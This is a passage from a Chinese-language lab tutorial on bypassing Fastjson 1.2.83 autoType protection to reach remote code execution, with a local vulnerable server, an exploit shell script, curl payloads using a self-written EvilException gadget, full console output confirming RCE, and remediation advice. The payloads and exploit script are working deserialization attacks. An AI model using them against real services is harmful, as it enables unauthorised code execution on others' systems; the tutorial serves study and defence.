echo " HTTP exploit against $BASE"
echo "============================================================"
echo
echo "[*] Waiting for $BASE/health ..."
READY=0
for i in $(seq 1 20); do
if curl -sS "$BASE/health" >/dev/null 2>&1; then READY=1; break; fi
sleep 0.5
done
if [[ "$READY" != 1 ]]; then
echo "[-] server not reachable at $BASE (start VulnHttpServer first)"
exit 1
fi
echo
echo "[*] GET /health"
curl -sS "$BASE/health"
echo
echo
echo "[*] POST /api/user (expectClassFlag RCE via Exception field)"
PAYLOAD=$(cat <<EOF
{"name":"attacker","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo http_rce_ok > $MARKER && uname -a"}}
EOF
)
echo "payload=$PAYLOAD"
curl -sS -X POST "$BASE/api/user" \
-H 'Content-Type: application/json' \
-d "$PAYLOAD"
echo
sleep 0.3
if [[ -f "$MARKER" ]]; then
echo "[+] RCE CONFIRMED marker=$MARKER content=$(cat "$MARKER")"
else
echo "[-] marker missing"
fi
echo
echo "[*] POST /api/meta (MiscCodec Class field under SafeMode)"
curl -sS -X POST "$BASE/api/meta" \
-H 'Content-Type: application/json' \
-d '{"label":"probe","type":"java.lang.Runtime"}'
echo
echo
echo "[*] POST /api/meta load EvilException Class object"
curl -sS -X POST "$BASE/api/meta" \
-H 'Content-Type: application/json' \
-d '{"label":"evil","type":"com.vuln.gadget.EvilException"}'
echo
echo
echo "[+] HTTP exploit log: $LOG"
文件 10:cleanup.sh(放在 lab 根目录,实验完一键清理)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env bash
# Stop lab server and remove artifacts (marker files / logs optional)
set -uo pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"
if pkill -f 'com.vuln.server.VulnHttpServer' 2>/dev/null; then
echo "[+] VulnHttpServer stopped"
else
echo "[*] no VulnHttpServer running"
fi
rm -f "$ROOT/logs/fastjson_1283_pwned" "$ROOT/logs/fastjson_1283_http_pwned" \
logs/fastjson_1283_pwned logs/fastjson_1283_http_pwned
echo "[+] marker files cleaned"
if [[ "${1:-}" == "--full" ]]; then
rm -rf "$ROOT/logs" "$ROOT/out"
echo "[+] logs/ and out/ removed (--full)"
fi
8.3 一键跑 PoC
现在回头看开头那条命令,它做的事情已经完全透明:用 javac --release 11 把 src/main/java 下全部源码编译到 out/,然后运行 PocRunner:
1
2
cd Fastjson-1.2.83-RCE
bash run-poc.sh
以下是本机(JDK 27,--release 11 编译,11/17 同样可跑)实测的完整控制台输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
============================================================
Fastjson 1.2.83 autoType bypass lab reproduction
Core: bypass autoTypeSupport=false
============================================================
------------------------------------------------------------
0. Environment
------------------------------------------------------------
Java: 27
Fastjson: 1.2.83
autoTypeSupport(global)=false
safeMode(global)=false
INTERNAL_WHITELIST_HASHCODES (4 hardcodes):
[0] 0x9F2E20FB6049A371 => java.util.Collections.UnmodifiableMap
[1] 0xA8AAA929446FFCE4 => com.alibaba.fastjson.util.AntiCollisionHashMap
[2] 0x00D45D6F8C9017FA => java.util.concurrent.ConcurrentSkipListMap
[3] 0x64DC636F343516DC => java.util.concurrent.ConcurrentSkipListSet
------------------------------------------------------------
1. Baseline: free @type does NOT instantiate when autoTypeSupport=false
------------------------------------------------------------
autoTypeSupport=false, payload={"@type":"com.vuln.gadget.EvilException","cmd":"id"}
checkAutoType(EvilException, null) => null (null means not auto-loaded)
JSON.parse result class=com.alibaba.fastjson.JSONObject
JSON.parse result={"@type":"com.vuln.gadget.EvilException","cmd":"id"}
SAFE: free @type did NOT instantiate gadget (stayed as JSONObject)
--- contrast: explicit target type (caller-controlled, by design)
[Gadget] EvilException.<init>() called
[Gadget] EvilException.setCmd("id") -> Runtime.exec
[Gadget] command exit=0
parseObject(payload, EvilException.class) => com.vuln.gadget.EvilException
explicit target type still runs setters, but the TYPE is chosen by the caller,
the attacker cannot hijack it with @type. Free @type is attacker-controlled.
------------------------------------------------------------
2. CORE: expectClassFlag bypass (autoTypeSupport=false) -> RCE
------------------------------------------------------------
autoTypeSupport=false safeMode=false
Bean field type: java.lang.Exception (NOT in the 10 base types)
=> expectClassFlag=true => TypeUtils.loadClass still called
payload={"name":"alice","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo pwned_by_expectClassFlag > logs/fastjson_1283_pwned && id"}}
[Gadget] EvilException.<init>() called
[Gadget] EvilException.setCmd("echo pwned_by_expectClassFlag > logs/fastjson_1283_pwned && id") -> Runtime.exec
[Gadget] command exit=0
parsed bean=UserPayload{name=alice, detail=com.vuln.gadget.EvilException}
detail class=com.vuln.gadget.EvilException
EvilException.lastExecuted=echo pwned_by_expectClassFlag > logs/fastjson_1283_pwned && id
RCE CONFIRMED: marker file exists: logs/fastjson_1283_pwned
marker content: pwned_by_expectClassFlag
------------------------------------------------------------
2b. Contrast: field type Runnable is in the 10 hashes (expectClassFlag=false)
------------------------------------------------------------
payload={"task":{"@type":"com.vuln.gadget.EvilRunnable","cmd":"id"}}
BLOCKED as expected: JSONException: autoType is not support. com.vuln.gadget.EvilRunnable
------------------------------------------------------------
3. INTERNAL_WHITELIST: 4 hardcoded hashes force-allow loadClass
------------------------------------------------------------
--- checkAutoType / parse: java.util.Collections$UnmodifiableMap
checkAutoType => java.util.Collections$UnmodifiableMap
JSON.parse => java.util.Collections$UnmodifiableMap
--- checkAutoType / parse: com.alibaba.fastjson.util.AntiCollisionHashMap
checkAutoType => com.alibaba.fastjson.util.AntiCollisionHashMap
JSON.parse => com.alibaba.fastjson.util.AntiCollisionHashMap
--- checkAutoType / parse: java.util.concurrent.ConcurrentSkipListMap
checkAutoType => java.util.concurrent.ConcurrentSkipListMap
JSON.parse => java.util.concurrent.ConcurrentSkipListMap
--- checkAutoType / parse: java.util.concurrent.ConcurrentSkipListSet
checkAutoType => java.util.concurrent.ConcurrentSkipListSet
JSON.parse => java.util.concurrent.ConcurrentSkipListSet
--- deny contrast: com.vuln.gadget.EvilException free @type
checkAutoType => null
------------------------------------------------------------
4. MiscCodec Class field: loadClass bypasses SafeMode + checkAutoType
------------------------------------------------------------
autoTypeSupport=false, safeMode=true
SafeMode blocks free @type: safeMode not support autoType : java.lang.Integer
Class-field payload={"label":"probe","type":"java.lang.Runtime"}
PARSED under SafeMode: ClassFieldBean{label=probe, type=java.lang.Runtime}
Loaded Class object: class java.lang.Runtime
Bypass confirmed: MiscCodec -> TypeUtils.loadClass (no checkAutoType)
Class-field payload2={"label":"evil","type":"com.vuln.gadget.EvilException"}
PARSED: ClassFieldBean{label=evil, type=com.vuln.gadget.EvilException}
classloader=jdk.internal.loader.ClassLoaders$AppClassLoader@<hash>
------------------------------------------------------------
Summary
------------------------------------------------------------
1) autoTypeSupport=false alone does NOT stop expectClassFlag path.
2) When Bean field type is NOT one of the 10 base types, @type subclass loads.
3) INTERNAL_WHITELIST (4 hashes) force-allows specific classes past deny.
4) Class-typed fields use MiscCodec.loadClass and ignore SafeMode.
Remediation: upgrade to Fastjson2 / SafeMode + no Class fields / accept whitelist.
Marker RCE file: logs/fastjson_1283_pwned exists=true
再验证标记文件:
1
2
cat logs/fastjson_1283_pwned
# 期望:pwned_by_expectClassFlag
8.4 你应该从日志里读到什么
- Case 1:自由顶层
@type在 autoType=false 时不会直接实例化恶意类;而显式指定目标类型(parseObject(payload, EvilException.class))会按设计执行 setter——区别在于类型由调用方决定,攻击者无法用@type劫持。 - Case 2:
Exception字段 + 恶意子类 → RCE 成功。 - Case 2b:
Runnable字段 → 被拦截。 - Case 3:内部白名单 4 类可加载。
- Case 4:SafeMode 下
Class字段仍可加载类名。
如果只记住一个,记住 Case 2。
9. HTTP 黑盒风格复现
很多业务接口长这样:
1
2
3
4
POST /api/user
Content-Type: application/json
{"name":"...","detail":{...}}
后端如果直接:
1
JSON.parseObject(body, UserPayload.class);
就和 lab 一样危险。
9.1 启动简易靶场
服务端就是 8.2 里的 VulnHttpServer.java(run-poc.sh 已经把它编译进 out/)。它把全局 ParserConfig 设为 autoTypeSupport=false,只绑定 127.0.0.1(与免责声明一致),监听两个接口:
POST /api/user:JSON.parseObject(body, UserPayload.class)—— 走 expectClassFlag 路径(对应 Case 2);POST /api/meta:用safeMode=true的本地ParserConfig解析ClassFieldBean—— 走 MiscCodecClass字段路径(对应 7.2 节、Case 4)。
启动:
1
2
cd Fastjson-1.2.83-RCE
java -cp out:lib/fastjson-1.2.83.jar com.vuln.server.VulnHttpServer 18083
9.2 健康检查
1
curl http://127.0.0.1:18083/health
期望类似:
1
{"fastjson":"1.2.83","safeMode":false,"status":"ok","autoTypeSupport":false}
注意:这里已经显示 autoTypeSupport=false。
9.3 发送恶意 JSON
1
2
3
curl -s http://127.0.0.1:18083/api/user \
-H 'Content-Type: application/json' \
-d '{"name":"attacker","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo http_rce_ok > logs/fastjson_1283_http_pwned"}}'
返回类似(detailClass 说明恶意类确实被实例化):
1
{"detailClass":"com.vuln.gadget.EvilException","ok":true,"bean":"UserPayload{name=attacker, detail=com.vuln.gadget.EvilException}"}
9.4 验证
1
2
cat logs/fastjson_1283_http_pwned
# 期望:http_rce_ok
上面 9.2~9.4 已经合并成 lab 里的 exploit-http.sh(完整内容见 8.2 文件 9)。它依次做三件事:
GET /health确认靶场版本与配置;POST /api/user发送 Case 2 的 expectClassFlag payload,并检查标记文件logs/fastjson_1283_http_pwned;POST /api/meta两次,验证 SafeMode 下Class字段仍能加载java.lang.Runtime和EvilException。
1
bash exploit-http.sh http://127.0.0.1:18083
本机实测输出(节选):
1
2
3
4
5
6
7
8
9
10
11
[*] Waiting for http://127.0.0.1:18083/health ...
[*] GET /health
{"fastjson":"1.2.83","safeMode":false,"status":"ok","autoTypeSupport":false}
payload={"name":"attacker","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo http_rce_ok > logs/fastjson_1283_http_pwned && uname -a"}}
{"detailClass":"com.vuln.gadget.EvilException","ok":true,"bean":"UserPayload{name=attacker, detail=com.vuln.gadget.EvilException}"}
[+] RCE CONFIRMED marker=logs/fastjson_1283_http_pwned content=http_rce_ok
{"note":"parsed with safeMode=true local ParserConfig","typeName":"java.lang.Runtime","ok":true,...}
{"note":"parsed with safeMode=true local ParserConfig","typeName":"com.vuln.gadget.EvilException","ok":true,...}
10. 真实场景还缺什么
教学 lab 为了让新人一眼看懂,用了自写 EvilException。
真实攻击要同时满足更多条件:
- 目标使用 Fastjson ≤ 1.2.83(或存在同类设计缺陷的版本/配置);
- 接口会把外部 JSON 反序列化到某个 Java 类型;
- 类型图中存在非 10 基类型字段(或可嵌套到该类型);
- classpath 上有可用 gadget(或可二次利用的类加载能力);
- 网络可达、WAF/网关未完整拦截 payload。
所以请建立正确心态:
| 说法 | 是否准确 |
|---|---|
| “1.2.83 一定能无条件 RCE” | 不准确 |
| “关了 autoType 就绝对安全” | 不准确 |
| “在特定字段类型 + gadget 条件下,autoType=false 仍可能被绕过” | 准确 |
11. 怎么修、怎么防
11.1 升级(首选)
- 尽快离开存在设计缺陷的 1.2.x 老版本;
- 评估迁移到维护中的 JSON 库方案(如 fastjson2,或其他严格类型绑定的库);
- 升级后仍要做回归测试,确认业务解析行为符合预期。
11.2 配置与代码层
- 不要解析不可信 JSON 到宽泛类型
少用Object/ 接口 / 抽象类直接承接外部输入。 - 能关就关危险能力
评估是否需要 autoType;能不用就不用。 - 开启更严格模式并验证
SafeMode 有帮助,但不能当银弹。 - 对输入做 schema 校验
只允许白名单字段和固定结构。 - 依赖治理
扫描并移除高危 gadget 依赖,缩小 classpath 攻击面。
11.3 运营层
- 组件版本资产盘点(SBOM)
- WAF/网关检测异常
@type - 运行时监控可疑进程创建、反序列化异常峰值
一个最小落地示例(Linux auditd 监控 Java 进程的 execve,便于事后溯源):
1
2
auditctl -a always,exit -F arch=b64 -S execve -k java_exec
ausearch -k java_exec --format text | grep -E 'java|sh -c'
更系统的做法是 JVM 埋点 / RASP;网关侧可对请求体中的 @type 关键字做告警。
12. 一张图串起来
完整链路总览图已前置到 4.1(“先上结论图”),避免读到后半篇还要翻回文末。这里保留最短记忆版:
1
字段类型不在 10 基类型内 -> expectClassFlag=true -> 子类加载 -> 危险 setter -> RCE
如果把 Exception 换成 Runnable,链路会在中间断开。
13. 常见问题
Q1:我完全不会 Java,还能学吗?
能。你只要先接受三件事:
- JSON 是文本;
- 程序会把文本变成对象;
- 变成对象时可能执行类里的代码。
后面的类名、字段类型,可以边做实验边熟悉。
Q2:为什么官方要支持 @type?
为了方便表达多态和复杂对象图。安全与便利长期拉扯,历史版本在便利一侧走得太远。
Q3:看到 payload 里有 @type 就一定能打?
不一定。还要看版本、配置、目标类型、gadget、网络过滤。
Q4:SafeMode 开了是不是就结束了?
更安全,但不是结束。Class 字段等路径仍可能留下旁路,业务模型本身也可能有问题。
Q5:学习时最容易犯的错是什么?
把“教学 gadget 能 RCE”直接等同于“互联网上所有 1.2.83 服务都能一键打穿”。
正确姿势是:先证明机制,再谈真实利用条件。
14. 小结
用最少的话收束全文:
- Fastjson 负责 JSON ↔ Java 对象。
@type让攻击者有机会指定类名。autoTypeSupport=false能挡住很多自由@type,但不是一切。expectClassFlag是理解 1.2.83 绕过的关键钥匙:字段类型不够“基类”,门就会松。- RCE 来自危险类在创建/setter 时的副作用,不来自 JSON 文本本身。
- 学习路径建议:先跑对照实验(Exception 成功 / Runnable 失败),再回头看原理。
如果你刚入门 Java 安全,建议学习顺序:
1
2
3
4
5
6
JSON 基础
-> Java 对象与 setter
-> Fastjson 正常用法
-> @type / autoType
-> expectClassFlag 对照实验
-> 再学真实 gadget 与历史利用链
最后再次提醒:
只在你自己的机器、授权靶场、课程实验环境中练习。
未经授权测试他人系统,是违法的。
附:最小记忆卡片
1
2
3
4
5
6
关了 autoType ≠ 绝对安全
字段类型决定 expectClassFlag
Exception 类字段可能放行子类
Runnable 等 10 基类型更难绕
加载类 + 危险 setter = 可能 RCE
升级 + 收窄类型 + 清理 gadget = 正道